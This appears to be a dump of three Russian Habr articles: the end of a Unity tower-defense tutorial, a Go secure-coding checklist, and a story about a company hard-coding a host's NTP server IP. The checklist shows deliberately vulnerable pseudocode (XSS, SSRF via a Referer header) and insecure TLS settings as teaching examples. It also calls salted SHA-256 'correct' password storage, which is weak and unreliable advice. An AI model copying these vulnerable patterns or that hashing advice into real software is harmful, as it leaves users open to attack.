//if (directionChange != DirectionChange.None) {
else {
float angle = Mathf.LerpUnclamped(
directionAngleFrom, directionAngleTo, progress
);
transform.localRotation = Quaternion.Euler(0f, angle, 0f);
}
return true;
}
```
*Враги плавно огибают углы.*
### Постоянная скорость
До этого момента скорость врагов всегда была равна одному тайлу в секунду, вне зависимости от того, как они движутся внутри тайла. Но покрываемое ими расстояние зависит от их состояния, поэтому их скорость, выражаемая в единицах в секунду, изменяется. Чтобы эта скорость была постоянной, нам нужно изменять скорость progress в зависимости от состояния. Поэтому добавим поле множителя progress и используем его для масштабирования дельты в `GameUpdate`.
```
float progress, progressFactor;
…
public bool GameUpdate () {
progress += Time.deltaTime * progressFactor;
…
}
```
Но если progress меняется в зависимости от состояния, оставшееся значение progress невозможно напрямую использовать для следующего состояния. Поэтому перед подготовкой к новому состоянию нам нужно нормализовать progress и применить новый множитель уже в новом состоянии.
```
public bool GameUpdate () {
progress += Time.deltaTime * progressFactor;
while (progress >= 1f) {
…
//progress -= 1f;
progress = (progress - 1f) / progressFactor;
PrepareNextState();
progress *= progressFactor;
}
…
}
```
Движение вперёд не требует изменений, поэтому использует множитель 1. При повороте вправо или влево враг проходит четверть окружности с радиусом ½, поэтому покрываемое расстояние равно ¼π. `progress` равен единице, разделённой на эту величину. Поворот назад не должен занимать слишком много времени, поэтому удвоим progress, чтобы он занимал полсекунды. Наконец, вводное движение покрывает только половину тайла, поэтому для сохранения постоянной скорости его progress тоже нужно удвоить.
```
void PrepareForward () {
…
progressFactor = 1f;
}
void PrepareTurnRight () {
…
progressFactor = 1f / (Mathf.PI * 0.25f);
}
void PrepareTurnLeft () {
…
progressFactor = 1f / (Mathf.PI * 0.25f);
}
void PrepareTurnAround () {
…
progressFactor = 2f;
}
void PrepareIntro () {
…
progressFactor = 2f;
}
```
**Почему расстояние равно 1/4\*pi?**
Длина окружности равна 2π, умноженному на радиус. Поворот вправо или влево покрывает всего четверть этой длины, а радиус равен ½, поэтому расстояние равно ½π × ½.
### Завершающее состояние
Так как у нас есть вводное состояние, давайте добавим и завершающее. В данный момент враги исчезают сразу после достижения конечной точки, но давайте отложим их исчезновение, пока они не достигнут центра конечного тайла. Создадим для этого метод `PrepareOutro`, зададим движение вперёд, но только до центра тайла с удвоенным progress для сохранения постоянной скорости.
```
void PrepareOutro () {
positionTo = tileFrom.transform.localPosition;
directionChange = DirectionChange.None;
directionAngleTo = direction.GetAngle();
model.localPosition = Vector3.zero;
transform.localRotation = direction.GetRotation();
progressFactor = 2f;
}
```
Чтобы `GameUpdate` не уничтожал врага слишком рано, удалим из него сдвиг тайлов. Им теперь займётся `PrepareNextState`. Таким образом, проверка на `null` вернёт `true` только после конца завершающего состояния.
```
public bool GameUpdate () {
progress += Time.deltaTime * progressFactor;
while (progress >= 1f) {
//tileFrom = tileTo;
//tileTo = tileTo.NextTileOnPath;
if (tileTo == null) {
OriginFactory.Reclaim(this);
return false;
}
…
}
…
}
```
В `PrepareNextState` мы начнём со сдвига тайлов. Затем после задания позиции `From`, но перед заданием позиции `To` будем проверять, равен ли тайл `To` значению `null`. Если да, то подготавливаем завершающее состояние и пропускаем остальную часть метода.
```
void PrepareNextState () {
tileFrom = tileTo;
tileTo = tileTo.NextTileOnPath;
positionFrom = positionTo;
if (tileTo == null) {
PrepareOutro();
return;
}
positionTo = tileFrom.ExitPoint;
…
}
```
*Враги с постоянной скоростью и завершающим состоянием.*
Вариативность врагов
--------------------
У нас есть поток врагов, и все они являются одинаковым кубом, движущимся с одинаковой скоростью. Получившийся результат больше походит на длинную змею, чем на отдельных врагов. Давайте сделаем их более отличающимися, рандомизировав их размер, смещение и скорость.
### Интервал значений Float
Мы будем изменять параметры врагов, случайным образом выбирая их характеристики из интервала значений. Здесь будет полезна структура `FloatRange`, которую мы создали в статье [Object Management, Configuring Shapes](https://catlikecoding.com/unity/tutorials/object-management/configuring-shapes/), поэтому давайте её скопируем. Единственными изменениями стали добавление конструктора с одним параметром и открытие доступа к минимуму и максимуму с помощью readonly-свойств, чтобы интервал был неизменяемым.
```
using UnityEngine;
[System.Serializable]
public struct FloatRange {
[SerializeField]
float min, max;
public float Min => min;
public float Max => max;
public float RandomValueInRange {
get {
return Random.Range(min, max);
}
}
public FloatRange(float value) {
min = max = value;
}
public FloatRange (float min, float max) {
this.min = min;
this.max = max < min ? min : max;
}
}
```
Также скопируем заданный ему атрибут, чтобы ограничить его интервал.
```
using UnityEngine;
public class FloatRangeSliderAttribute : PropertyAttribute {
public float Min { get; private set; }
public float Max { get; private set; }
public FloatRangeSliderAttribute (float min, float max) {
Min = min;
Max = max < min ? min : max;
}
}
```
Нам нужна только визуализация ползунка, поэтому скопируем `FloatRangeSliderDrawer` в папку *Editor*.
```
using UnityEditor;
using UnityEngine;
[CustomPropertyDrawer(typeof(FloatRangeSliderAttribute))]
public class FloatRangeSliderDrawer : PropertyDrawer {
public override void OnGUI (
Rect position, SerializedProperty property, GUIContent label
) {
int originalIndentLevel = EditorGUI.indentLevel;
EditorGUI.BeginProperty(position, label, property);
position = EditorGUI.PrefixLabel(
position, GUIUtility.GetControlID(FocusType.Passive), label
);
EditorGUI.indentLevel = 0;
SerializedProperty minProperty = property.FindPropertyRelative("min");
SerializedProperty maxProperty = property.FindPropertyRelative("max");
float minValue = minProperty.floatValue;
float maxValue = maxProperty.floatValue;
float fieldWidth = position.width / 4f - 4f;
float sliderWidth = position.width / 2f;
position.width = fieldWidth;
minValue = EditorGUI.FloatField(position, minValue);
position.x += fieldWidth + 4f;
position.width = sliderWidth;
FloatRangeSliderAttribute limit = attribute as FloatRangeSliderAttribute;
EditorGUI.MinMaxSlider(
position, ref minValue, ref maxValue, limit.Min, limit.Max
);
position.x += sliderWidth + 4f;
position.width = fieldWidth;
maxValue = EditorGUI.FloatField(position, maxValue);
if (minValue < limit.Min) {
minValue = limit.Min;
}
if (maxValue < minValue) {
maxValue = minValue;
}
else if (maxValue > limit.Max) {
maxValue = limit.Max;
}
minProperty.floatValue = minValue;
maxProperty.floatValue = maxValue;
EditorGUI.EndProperty();
EditorGUI.indentLevel = originalIndentLevel;
}
}
```
### Масштаб модели
Начнём мы с изменения масштаба врага. Добавим в `EnemyFactory` опцию настройки масштаба. Интервал масштабов не должен быть слишком большим, но достаточным для создания миниатюрных и гигантски разновидностей врагов. Что-нибудь в пределах 0.5–2 со стандартным значением 1. Будем выбирать случайный масштаб в этом интервале в `Get` и передавать его врагу через новый метод `Initialize`.
```
[SerializeField, FloatRangeSlider(0.5f, 2f)]
FloatRange scale = new FloatRange(1f);
public Enemy Get () {
Enemy instance = CreateGameObjectInstance(prefab);
instance.OriginFactory = this;
instance.Initialize(scale.RandomValueInRange);
return instance;
}
```
Метод `Enemy.Initialize` просто задаёт одинаковый по всем измерениям масштаб его модели.
```
public void Initialize (float scale) {
model.localScale = new Vector3(scale, scale, scale);
}
```
*Интервал масштабов от 0.5 до 1.5.*
### Смещение пути
Чтобы ещё сильнее разрушить однородность потока врагов, мы можем изменить их относительную позицию внутри тайлов. Они движутся вперёд, поэтому смещение в этом направлении всего лишь изменяет тайминг их движения, что не очень заметно. Поэтому мы будем смещать их вбок, в сторону от идеального пути, проходящего через центры тайлов. Добавим в `EnemyFactory` интервал смещений пути и будем передавать случайное смещение методу `Initialize`. Смещение может быть отрицательным или положительным, но никогда не больше ½, потому что это сдвинуло бы врага на соседний тайл. Кроме того, мы не хотим, чтобы враги выходили за пределы тайлов, по которым идут, поэтому на самом деле интервал будет меньше, например, 0.4, однако истинные пределы зависят от размера врага.
```
[SerializeField, FloatRangeSlider(-0.4f, 0.4f)]
FloatRange pathOffset = new FloatRange(0f);
public Enemy Get () {
Enemy instance = CreateGameObjectInstance(prefab);
instance.OriginFactory = this;
instance.Initialize(
scale.RandomValueInRange, pathOffset.RandomValueInRange
);
return instance;
}
```
Так как смещение пути влияет на проходимый путь, `Enemy` необходимо его отслеживать.
```
float pathOffset;
…
public void Initialize (float scale, float pathOffset) {
model.localScale = new Vector3(scale, scale, scale);
this.pathOffset = pathOffset;
}
```
При движении ровно прямо (во время вводного, завершающего или обычного движения вперёд) мы просто применяем смещение непосредственно к модели. То же самое происходит и при повороте назад. При правом или левом повороте мы уже смещаем модель, которая становится относительной к смещению пути.
```
void PrepareForward () {
transform.localRotation = direction.GetRotation();
directionAngleTo = direction.GetAngle();
model.localPosition = new Vector3(pathOffset, 0f);
progressFactor = 1f;
}
void PrepareTurnRight () {
directionAngleTo = directionAngleFrom + 90f;
model.localPosition = new Vector3(pathOffset - 0.5f, 0f);
transform.localPosition = positionFrom + direction.GetHalfVector();
progressFactor = 1f / (Mathf.PI * 0.25f);
}
void PrepareTurnLeft () {
directionAngleTo = directionAngleFrom - 90f;
model.localPosition = new Vector3(pathOffset + 0.5f, 0f);
transform.localPosition = positionFrom + direction.GetHalfVector();
progressFactor = 1f / (Mathf.PI * 0.25f);
}
void PrepareTurnAround () {
directionAngleTo = directionAngleFrom + 180f;
model.localPosition = new Vector3(pathOffset, 0f);
transform.localPosition = positionFrom;
progressFactor = 2f;
}
void PrepareIntro () {
…
model.localPosition = new Vector3(pathOffset, 0f);
transform.localRotation = direction.GetRotation();
progressFactor = 2f;
}
void PrepareOutro () {
…
model.localPosition = new Vector3(pathOffset, 0f);
transform.localRotation = direction.GetRotation();
progressFactor = 2f;
}
```
Так как смещение пути при повороте изменяет радиус, нам необходимо изменить процесс вычисления множителя progress. Смещение пути должно вычитаться из ½, чтобы получить радиус поворота вправо, и прибавляться в случае поворота влево.
```
void PrepareTurnRight () {
…
progressFactor = 1f / (Mathf.PI * 0.5f * (0.5f - pathOffset));
}
void PrepareTurnLeft () {
…
progressFactor = 1f / (Mathf.PI * 0.5f * (0.5f + pathOffset));
}
```
Также мы получаем радиус поворота при повороте на 180°. В этом случае мы покрываем половину окружности радиусом, равным смещению пути, поэтому расстояние равно π, умноженному на смещение. Однако это не срабатывает, когда смещение равно нулю, а при малых смещениях повороты получаются слишком быстрыми. Чтобы избежать мгновенных поворотов, мы можем принудительно задать минимальный радиус для вычисления скорости, допустим, 0.2.
```
void PrepareTurnAround () {
directionAngleTo = directionAngleFrom + (pathOffset < 0f ? 180f : -180f);
model.localPosition = new Vector3(pathOffset, 0f);
transform.localPosition = positionFrom;
progressFactor =
1f / (Mathf.PI * Mathf.Max(Mathf.Abs(pathOffset), 0.2f));
}
```
*Смещение пути в интервале −0.25–0.25.*
Заметьте, что теперь враги никогда не меняют своё относительное смещение пути, даже при повороте. Поэтому общая длина пути у каждого врага своя.
Чтобы враги не выходили на соседние тайлы, надо также учитывать их максимальный возможный масштаб. Я просто ограничил размер максимальным значением 1, поэтому максимальное допустимое смещение для куба равно 0.25. Если бы максимальный размер был равен 1.5, то максимум смещения надо было снизить до 0.125.
### Скорость
Последнее, что мы рандомизируем — это скорость врагов. Добавим ещё один интервал для неё в `EnemyFactory` и будем передавать значение созданному экземпляру врага. Сделаем его вторым аргументом метода `Initialize`. Враги не должны быть слишком медленными или быстрыми, чтобы игра не стала тривиально простой или невозможно трудной. Давайте ограничим интервал в пределах 0.2–5. Скорость выражается в единицах в секунду, что соответствует тайлам в секунду только при движении вперёд.
```
[SerializeField, FloatRangeSlider(0.2f, 5f)]
FloatRange speed = new FloatRange(1f);
[SerializeField, FloatRangeSlider(-0.4f, 0.4f)]
FloatRange pathOffset = new FloatRange(0f);
public Enemy Get () {
Enemy instance = CreateGameObjectInstance(prefab);
instance.OriginFactory = this;
instance.Initialize(
scale.RandomValueInRange,
speed.RandomValueInRange,
pathOffset.RandomValueInRange
);
return instance;
}
```
Теперь `Enemy` должен отслеживать и скорость.
```
float speed;
…
public void Initialize (float scale, float speed, float pathOffset) {
model.localScale = new Vector3(scale, scale, scale);
this.speed = speed;
this.pathOffset = pathOffset;
}
```
Когда мы не задавали скорость явно, то просто всегда использовали значение 1. Теперь нам просто создать зависимость множителя progress от скорости.
```
void PrepareForward () {
…
progressFactor = speed;
}
void PrepareTurnRight () {
…
progressFactor = speed / (Mathf.PI * 0.5f * (0.5f - pathOffset));
}
void PrepareTurnLeft () {
…
progressFactor = speed / (Mathf.PI * 0.5f * (0.5f + pathOffset));
}
void PrepareTurnAround () {
…
progressFactor =
speed / (Mathf.PI * Mathf.Max(Mathf.Abs(pathOffset), 0.2f));
}
void PrepareIntro () {
…
progressFactor = 2f * speed;
}
void PrepareOutro () {
…
progressFactor = 2f * speed;
}
```
*Скорость в интервале 0.75–1.25.*
Итак, мы получили красивый поток врагов, движущихся к конечной точке. В следующем туториале мы научимся с ними бороться. Хотите знать, когда он выйдет? Следите за моей страницей на [Patreon](https://www.patreon.com/catlikecoding)!
[репозиторий](https://bitbucket.org/catlikecodingunitytutorials/tower-defense-02-enemies/)
[Статья в PDF](https://catlikecoding.com/unity/tutorials/tower-defense/enemies/Enemies.pdf) | https://habr.com/ru/post/452756/ | null | ru | null |
# Проверяем защищённость приложения на Go: с чего начать
Привет! Меня зовут Александра, я инженер по информационной безопасности в Delivery Club. Мы используем Go в качестве основного языка для разработки Web-API и представляем вашему вниманию краткое руководство по быстрой проверке сервиса на соответствие базовым требованиям безопасности. Представленную ниже информацию можно адаптировать под проекты, написанные и на других языках.
Код
---
### Проверка пользовательского ввода
Первый и один из основных этапов анализа сервиса на соответствие требованиям безопасности — проверка пользовательского ввода. Мы ищем входные данные, принимаемые приложением, и определяем те из них, которым доверять нельзя, учитывая, что клиент является внешней сущностью. Такими данными могут быть:
* заголовки HTTP-запросов;
* тела HTTP-запросов;
* URI-запросы, отвечающие за роутинг и/или маппинг ресурсов, при условии, что такой запрос каким-либо образом обрабатывается приложением;
* параметры GET и POST;
* содержимое форм.
ИсключенияИсключениями из перечня данных пользовательского ввода будут параметры, использующие стойкую цифровую подпись с секретом, например, хранящиеся на сервере JWS ([RFC 7515](https://datatracker.ietf.org/doc/html/rfc7515)), подписанные и проверяемые алгоритмами на основе HMAC/RSA/ECDSA. Однако подобные параметры требуют особого внимания в связи с существованием атак на схемы шифрования и подписи, например:
* signature removal – удаление цифровой подписи и модификация поля с указанием алгоритма;
* crypto oracle – подпись произвольных данных.
Если в коде есть собственная реализация криптографии, малоизвестные алгоритмы или алгоритмы, криптографическая стойкость которых не доказана либо исследований которой не существует, то можно:
* обратиться за консультацией к специалистам по криптографии;
* провести собственное исследование на соответствие алгоритма требованиям информационной безопасности компании;
* отказаться от использования подобных алгоритмов.
Как может выглядеть плохая обработка входных данных в псевдокоде:
```
http.HandleFunc("/bar", func(w HTTP.ResponseWriter, r *HTTP.Request) {
fmt.Fprintf(w, "Hello %q!", r.Url.Query.Get("name")) // XSS
ref := r.Headers.Get("Referrer") // недоверенный заголовок
if ref != "" {
resp, err := HTTP.Get(ref+"/?utm_source=backend") // SSRF
if err != nil {
fmt.Error(err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Error(err)
return
}
addToLogFile(string(body)) // запись недоверенных данных
}
})
log.Fatal(HTTP.ListenAndServe(":8080", nil))
```
### Санитизация пользовательского ввода
Для защиты от вредоносной нагрузки чаще всего применяют санитизацию — удаление и/или экранирование неправильных или небезопасных символов из пользовательского ввода.
Задача первичной обработки входных данных лежит на HTTP-библиотеке. Во время проверки кода стоит обращать внимание на использование или отсутствие следующих методов санитизации:
* белыx списков параметров (whitelisting), которые помогут отфильтровать невалидные или служебные параметры;
* проверок границ значений (boundary checking) при конвертации строковых данных в числовые, и проверок ошибок конвертации;
* проверок корректности конвертации строковых данных (Character escaping), например, проверок так называемого расширенного набора символов UTF-8, графически совпадающих с латинскими ASCII-символами.
* проверок нуль-байтов;
* проверок символов path-control: \ и \ \;
* использование пакета "html/template" для безопасного отображения пользовательского ввода;
* использование функции `Escape`\* из пакета "template/html” для отображения спецсимволов.
**Примечание**: если валидация и/или санитизация входных данных невозможна, то HTTP-запрос должен быть полностью отклонен.
### Пароли
Для реализации корректного механизма хранения и проверки паролей следует:
* избегать использования устаревших алгоритмов, таких как SHA-1 и MD5;
* использовать криптографически стойкий генератор псевдослучайных чисел.
Пример верной обработки пользовательских паролей:
```
package main
import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"context"
"fmt"
)
const saltSize = 32
func main() {
ctx := context.Background()
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
// создать случайное слово
salt := make([]byte, saltSize)
_, err := rand.Read(salt)
if err!=nil {
panic(err)
}
// SHA256(salt+password)
hash := sha256.New()
hash.Write(salt)
hash.Write(password)
h := hash.Sum(nil)
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password: %s\n", string(password))
// fmt.Printf("salt : %x\n", salt)
// fmt.Printf("hash : %x\n", h)
// использовать при подключении к БД
stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, salt=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, h, salt, email)
if err != nil {
panic(err)
}
}
```
**Примечание:** идеальным вариантом является использование способов аутентификации, отличных от аутентификации по паролям.
### Обработка ошибок
Необходимо правильно и своевременно обрабатывать ошибки по мере их появления, чтобы избежать ошибок бизнес-логики.
Пример обработки ошибок:
```
func initialize(i int) {
...
//Сбой
if i<2 {
fmt.Printf("Var %d - initialized\n", i)
} else {
//Завершаем нашу программу.
log.Fatal("Init failure - Terminating.")
}
}
func main() {
i:=1
for i<3 {
initialize(i)
i++
}
fmt.Println("Initialized all variables successfully")
}
```
### Журналирование
Не допускайте включения чувствительных данных в журналы.
### Передача данных между сервисами
Во избежание data-tampering и нелегитимного доступа к сервису требуется проверять:
* Легитимность передачи информации между двумя сервисами (наличие доверительных отношений).
* Целостность информации, передаваемой между сервисами.
Легитимность передачи информации между двумя сервисами достигается:
* наличием информации об отправителе в белом списке получателя;
* реализацией проверки доверия отношений между сервисами.
Целостность информации можно обеспечить с помощью алгоритмов цифровой подписи и имитовставки (DSA и HMAC). Для этой задачи может быть использован mTLS или любой другой алгоритм (IKE, SSH) двусторонней аутентификации.
Swagger
-------
При проектировании микросервисов на основе Swagger рекомендуется проверять следующие критерии:
* Соответствие схемы авторизации требованиям информационной безопасности — блок описания `securityDefinitions` (Swagger v2), `components/securitySchemes` (Swagger v3) и провайдеров авторизации (Basic, OAuth2, Bearer).
* Наличие в блоке `security` информации о точках и методах описываемого API, требующих авторизацию, например:
```
security:
- basicAuth: ['/admin']
- apiKey: ['/v1/']
```
* Наличие информации о блоке `security` в каждой отдельной точке или методе API, например:
```
/ping:
get:
summary: Checks if the server is running
security: [] # No security
```
**Примечание**: если используемые методы авторизации для конечных точек и API вызывают сомнения, то необходимо уточнить корректность используемых схем.
TLS
---
Если при работе сервиса требуется использовать TLS, например, для связи с другими сервисами, то необходимо учитывать следующие критерии:
* TLS Certificate Verification — в коде не должна использоваться конфигурация, игнорирующая проверку сертификатов. Пример неправильной конфигурации:
```
config := &tls.Config{InsecureSkipVerify: true}
```
* TLS Version — в коде должны использоваться только безопасные и актуальные версии TLS. Пример использования нежелательных версий TLS 1.0 или TLS 1.1:
```
config := &tls.Config{MinVersion:0, MaxVersion:1}
```
* TLS ServerName — в случае конфигурации TLS HostName необходимо убедиться, что tls.ServerName совпадает с именем, указанным в сертификате:
```
config := &tls.Config{ServerName: "test-foo.com"}
```
* Unverified TLS Library — рекомендуется использовать стандартную библиотеку для работы с TLS "crypto/tls". Если вы выбрали альтернативную библиотеку, убедитесь в её безопасности.
```
import "crypto/tls"
```
### Источники
* [Secure Coding Practices](https://github.com/OWASP/Go-SCP/blob/master/src/authentication-password-management/validation-and-storage.md)
* [Swagger: Authentication and Authorization](https://swagger.io/docs/specification/authentication/)
Мы считаем это руководство хорошей отправной точкой для обсуждения и дальнейшего построения аудита безопасности сервисов, в том числе написанных на Go. | https://habr.com/ru/post/658569/ | null | ru | null |
# Интернет убыточных вещей
Зовите детишек! Сейчас дядя Андрей расскажет рождественскую страшилку об NTP (Network Time Protocol).
Почти два года назад, в понедельник 16 января 2017 года, в нашу систему баг-репортов [BitFolk](https://bitfolk.com/) поступил интересный тикет от постороннего лица. Отправитель представился как ведущий инженер-программист компании NetThings UK Ltd.
> Тема: запрос NTP на IP `85.119.80.232`
>
>
>
> Привет,
>
>
>
> Это может показаться странным, но мне нужно настроить сервер NTP по IP-адресу `85.119.80.232`.
Что такого особенного в адресе `85.119.80.232`? Это IP-адрес одного из NTP-серверов для обслуживания наших клиентов. За несколько недель до этого тикета сервер также был частью проекта [NTP Pool](https://www.ntppool.org/).
Здесь важное слово «был». В конце декабря 2016 года я вывел NTP-серверы BitFolk из общественного пула и заблокировал их для посторонних.
Я так поступил, потому что из-за [бага Snapchat NTP](https://en.wikipedia.org/wiki/NTP_server_misuse_and_abuse#Snapchat_on_iOS) на них пошёл необычно большой трафик. На самом деле это не вызвало каких-то огромных проблем, просто такой объём трафика выталкивал полезную информацию из базы сохранения сетевого потока [Jump](http://www.jump.net.uk/) фиксированного размера, а я не хотел разбираться с этим во время праздников, поэтому просто отключил публичный доступ к сервису.
NTP?
====
Эта статья [попала на Hacker News](https://news.ycombinator.com/item?id=18751771), и там в нескольких комментариях просили вкратце объяснить, что такое NTP, поэтому я добавил этот нетехнический раздел. Если вы знаете технологию, то можете пропустить его.
Network Time Protocol — это средство, с помощью которого компьютер может использовать несколько других компьютеров, часто со всего интернета в совершенно разных сетях под управлением разных администраторов, чтобы точно определить текущее время. При использовании нескольких разных компьютеров некоторые из них выдают неточный результат, некоторые могут быть сломаны или вести себя враждебно, но протокол способен распознать «неправильные» часы и учитывать только результат от более точного большинства.
Предполагается, что NTP используется в иерархическом порядке: к нескольким серверам напрямую подключено аппаратное обеспечение для определения точного времени: атомные часы, GPS и т. д. Они называются серверами Stratum 1. Серверы второго уровня устанавливают своё время по серверам Stratum 1, обслуживают гораздо больше клиентов и так далее.
В прошлые времена бывало трудно найти доступные серверы NTP. В вашей собственной компании мог стоять один или два таких сервера, но на самом деле приходилось сверяться по крайней мере с 3−7 серверами, и лучше от разных организаций. В университетской среде было проще: вы могли поговорить с коллегами и обменяться доступом к NTP. Но по мере роста интернета количество запросов росло, в том числе от коммерческих компаний и частных лиц.
На помощь пришёл проект NTP Pool. Через простой веб-интерфейс желающие добавляли в пул собственные NTP-серверы: они коллективно обслуживались в общей зоне DNS с некоторыми базовыми средствами для распределения нагрузки. Частному лицу позволялось указать три имени из пула, и он бесплатно получал три разных (постоянно меняющихся) сервера NTP.
Предполагалось, что коммерческие компании будут обращаться в отдельную «зону вендоров». Они перечисляют проекту небольшой взнос — и получают зону DNS, выделенную для их продукта, так что администраторам пула проще направлять трафик.
К сожалению, многие компании не затрудняли себя изучением этих тонкостей и просто использовали общую зону пула. NetThings UK Ltd. пошла ещё дальше в очень неправильном направлении — и взяла IP-адрес из пула, просто используя его напрямую и предполагая, что он всегда будет доступен. На самом деле этот бесплатный сервис пожертвовала в общий пул компания BitFolk, а из-за временных неудобств услугу отключили.
Возвращаясь к нашей истории…
Они хотят… чего?
================
Ведущий инженер-программист продолжил:
> Недавно службу NTP отключили, и мне интересно знать, есть ли какая-то возможность запустить её снова по указанному IP-адресу. Либо через текущего владельца IP-адреса, либо через миграцию текущей машины на другой адрес, чтобы мы могли арендовать `85.119.80.232`.
Хм…
> Я понимаю, что это странная просьба, но могу заверить вас, что она искренняя.
Так не получится
================
Очевидно, что `85.119.80.232` используют все наши клиентами как резолвер и NTP-сервер. Просить их всех изменить конфигурацию, чтобы отдать адрес в аренду NetThings UK Ltd. — это не вариант. Поэтому я просто убрал файрвол, так что `85.119.80.232` снова стал работать для NetThings UK Ltd., пока мы не выясним, что можно сделать.
Затем я задал несколько уместных вопросов, чтобы определить объём услуг, которые придётся предоставить:
* Сколько клиентов у вас используют этот сервер?
* Вы знаете их IP-адреса?
* Когда им нужен NTP-сервер и как долго?
* Можно ли их заставить правильно использовать пул (через зону вендоров)?
Глубже в лес
============
Ответы на некоторые вопросы оказались весьма разочаровывающими.
> Сервер частично используется нашей производственной системой, где изначально установлены RTC. К сожалению, достаточно большое количество оборудования (~500 единиц с еженедельными вызовами NTP) работает по роумингу GPRS SIM. Я не знаю, можно ли в этом случае полагаться на исходный IP-адрес APN для настройки файрвола (я проверю). Мы также не можем удалённо обновить прошивку на этих устройствах, поскольку у них квота по трафику 5 МБ в месяц. Мы можем обновить их локально, но для этого потребуются месяцы, а не недели.
Судя по всему, NetThings UK Ltd производила термостаты с дистанционным управлением, контроллеры освещения для больших торговых площадей и т. д. Похоже, им в прошивку записали один из IP-адресов BitFolk, и эти устройства нельзя было идентифицировать или удалённо обновить.
И да, в любом случае без внешнего источника времени часы этих устройств начнут заметно смещаться в течение двух недель.
Кстати, они решили свою проблему с жёстко прописанным IP-адресом, *подняв локально на своём заводе IP-адрес BitFolk, чтобы установить начальную дату/время.*
Признаюсь, на тот момент возникло небольшое искушение идентифицировать эти устройства, выдать им совершенно неправильные данные — и посмотреть, начнут ли некоторые магазины включать и выключать свет в странное время суток.
Еженедельно??
=============
> Вызовы NTP у нас запускает еженедельный крон без балансировки нагрузки на стороне клиента. Это приводит к потоку запросов в одно и то же время каждое воскресенье около 19:45.
Да, они заставили каждое из своих неопознанных устройств стучать на жёстко закодированный IP-адрес в течение двухминутного интервала каждый воскресный вечер.
Ведущий инженер-программист очень волновался, что они стали причиной того избыточного потока, о котором я упоминал ранее, но я заверил, что это определённо баг Snapchat. На самом деле их 500 девайсов никогда не отличались от фонового шума. Оказалось, что полтысячи запросов SNTP — довольно лёгкая нагрузка. Они делали это более двух лет, прежде чем возникла проблема.
Конечно, я отметил их везение, что мы быстро заметили проблему, иначе всё могло закончиться как в [деле Netgear против университета Висконсина](https://en.wikipedia.org/wiki/NTP_server_misuse_and_abuse#Netgear_and_the_University_of_Wisconsin%E2%80%93Madison) [когда устройства Netgear зафлудили запросами университетский NTP-сервер — прим. пер.].
> Я чувствую себя очень, очень плохо из-за этого. Мне очень, очень жаль, если мы стали причиной ваших проблем.
Прощён. Должен отметить, что на протяжении всего этого времени с ведущим инженером было приятно работать.
Мы заключили сделку
===================
Вообще-то BitFolk предоставляет клиентам NTP-сервис из любезности, это не платная услуга. В конце концов, кто будет за неё платить, если существует общественный пул? Для коммерческой компании правильно поддерживать пул, подписавшись на вендорскую зону.
Но NetThings UK Ltd. оказались в затруднительном положении, и запрет на доступ к NTP-серверу нанесёт им серьёзный финансовый урон. Потенциально я мог бы попросить много денег в тот момент, но я чувствовал (без сомнения, в ущерб своему карману), что это просто неправильно.
Для начала я предложил заплатить мне за два часа консультаций, чтобы покрыть уже проделанную работу по внесению изменений в файрвол.
Кроме того, я предложил оплачивать один час консультаций в месяц в течение 12 месяцев для покрытия расходов на продолжение работы сервера NTP. Конечно, я не трачу по часу в месяц на возню с NTP, но такое нестандартное отклонение от моей обычной работы требовало определённого вознаграждения.
Я очень хотел отметить, что это не навсегда:
> Наконец, это штрафная санкция. Похоже, вы сейчас в затруднительном положении, и есть соблазн взимать с вас максимальную сумму (во всяком случае, намного больше, чем £840 + НДС), но мне это кажется несправедливым. Тем не менее, предоставление услуг NTP третьим лицам — не наш бизнес, поэтому мы ожидаем, что контракт закончится в течение 12 месяцев. Если вам в конечном итоге придётся продлить эту услугу, это будет означать, что мы не взимали с вас достаточно, и мы увеличим цену.
>
>
>
> Это кажется разумным?
NetThings UK Ltd. с радостью согласилась на такое предложение.
> Ещё раз спасибо за информацию и помощь. Вы спасли меня от огромного количества дурацкой и бесполезной работы. У нас достаточно времени, чтобы всё исправить.
Ухабы на дороге
===============
В дальнейшем я общался с ведущим инженером-программистом лишь однажды. Остальная переписка велась с финансовым персоналом, главным образом потому, что NetThings UK Ltd. не любила вовремя оплачивать счета.
За год NetThings UK Ltd. оплатила с опозданием три из четырёх счетов. В каждом случае я постарался взимать с них установленную законом пеню за просрочку платежа.
Неутешительные итоги года
=========================
Когда 2017 год подошёл к концу, я спросил ведущего инженера-программиста, как ситуация с нашим IP-адресом в прошивке их устройств, насколько успешно они решили проблему?
> Если вкратце, в большинстве наших продуктов удалось избавиться от использования фиксированного IP-адреса. Осталось обновить ещё один проект, после чего производство новых единиц с такими прошивками будет полностью прекращено. Но у нас по-прежнему в продакшне около 1000 единиц, которые нелегко обновить: они продолжат отправлять еженедельные NTP-запросы на фиксированный IP-адрес. Поэтому, отвечая на ваш вопрос: да, нам по-прежнему потребуется услуга в январе 2018 года.
Это было слегка печально, ведь год назад было «около 500» устройств. Несмотря на все усилия в течение года, число, похоже, удвоилось.
Одного этого достаточно для увеличения платы, что я всё равно собирался сделать из-за регулярных просрочек платежей с их стороны. За два месяца я их предварительно уведомил, что цена удвоится.
Хотите поспорить?
=================
Примерно через 15 недель после сообщения об удвоении цены финансовый директор NetThings UK Ltd. спросил, почему это произошло, одновременно сообщив о переводе одного из просроченных платежей:
> Date: Wed, 21 Feb 2018 14:59:42 +0000
>
>
>
> Уже оплатили, но не могли бы вы пояснить, почему цена удвоилась?
Я был очень рад снова подробно объяснить, почему она удвоилась. Финансовый директор в ответ попытался договориться о фиксированной цене на год, на что я согласился при условии оплаты за год авансом.
Моё обоснование состояло в том, что увеличение цены произошло в основном из-за просроченных платежей с их стороны: они отнимают слишком много времени, поэтому в случае сохранения квартальной оплаты мне нужна возможность взимать больше в случае необходимости. Если хотят гарантий, на мой взгляд, они должны заплатить за это, сделав один годовой платёж.
Ответа не последовало, так что платежи продолжались на ежеквартальной основе.
Вот и сказке конец
==================
20 ноября 2018 года мы получили письмо от [Deloitte](https://deloitte.com/):
> **Netthings Limited – In Administration (“The Company”)
>
>
>
> Номер компании: SC313913**
>
>
>
> […]
>
>
>
> **Прекращение деятельности**
>
>
>
> Компания прекратила деятельность с 15 ноября 2018 года.
>
>
>
